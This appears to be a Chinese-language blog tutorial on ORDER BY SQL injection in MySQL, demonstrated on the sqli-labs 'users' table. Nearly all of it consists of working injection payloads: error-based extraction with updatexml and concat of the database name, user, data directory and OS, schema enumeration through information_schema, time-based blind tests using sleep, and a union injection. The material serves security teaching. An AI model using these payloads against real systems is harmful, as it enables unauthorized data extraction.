order by注入

发布于:2023-01-21 ⋅ 阅读:(509) ⋅ 点赞:(0)

order by注入

什么是order by排序注入?

当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入。即可控的位置在order by 子句后面。

如下图所示,这是正常的order by语句。

mysql> select * from users order by id;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users order by id desc;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 14 | admin4   | admin4     |
| 12 | dhakkan  | dumbo      |
| 11 | admin3   | admin3     |
| 10 | admin2   | admin2     |
|  9 | admin1   | admin1     |
|  8 | admin    | admin      |
|  7 | batman   | mob!le     |
|  6 | superman | genious    |
|  5 | stupid   | stupidity  |
|  4 | secure   | crappy     |
|  3 | Dummy    | p@ssword   |
|  2 | Angelina | I-kill-you |
|  1 | Dumb     | Dumb       |
+----+----------+------------+
13 rows in set (0.00 sec)

order by 排序注入案例

我们通过报错函数与order by相结合实现注入

获取当前数据库名:

select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));

image-20220811150326087

获取当前数据库用户:

select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0));

image-20220811150644735

获取连接数据库的用户名:

select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0));

image-20220811150944575

获取当前数据库路径:

select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0));

image-20220811150629454

获取数据库所使用的操作系统:

select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0));

image-20220811150821425

order by 结合limit获取数据库列表信息

select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),0));

image-20220811151520570

因为group_concat()`批量查询输出结果长度有限制,不能超过32个字符,因此需要结合limit 一条一条获取,当然数据多的时候最好写个python脚本注入 。

order by与盲注

当页面没有展示MYSQL的错误信息时,且只能根据页面回显的状态进行判断时,可以使用布尔盲注也可以使用时间盲注

以时间盲注为例:

如下图所示表示基于时间的盲注

select * from user order by if(1=1,1,sleep(1)); 
上面这种情况就是为True,所以是正常时间回显
select * from user order by if(1=2,1,sleep(1)); 
这里返回的结果就是flase,所以他会有一个延迟的关系。

image-20220811152647475

由上图可以发现他们的时间是不同的,一个是判断为真是0.0 sec, 判断为假是13.10 sec

order by 与 union 联合查询

$query = "select * from users order by id $input ";没有使用括号包裹的时候,是无法直接使用union查询的。

$query = "(select * from users order by id $input) ";使用括号进行包裹的时候,此时是可以进行union查询的。

案例:

(select * from users order by id ) union(select 1,(version()),3);

image-20220811152139874


网站公告

今日签到

点亮在社区的每一天
去签到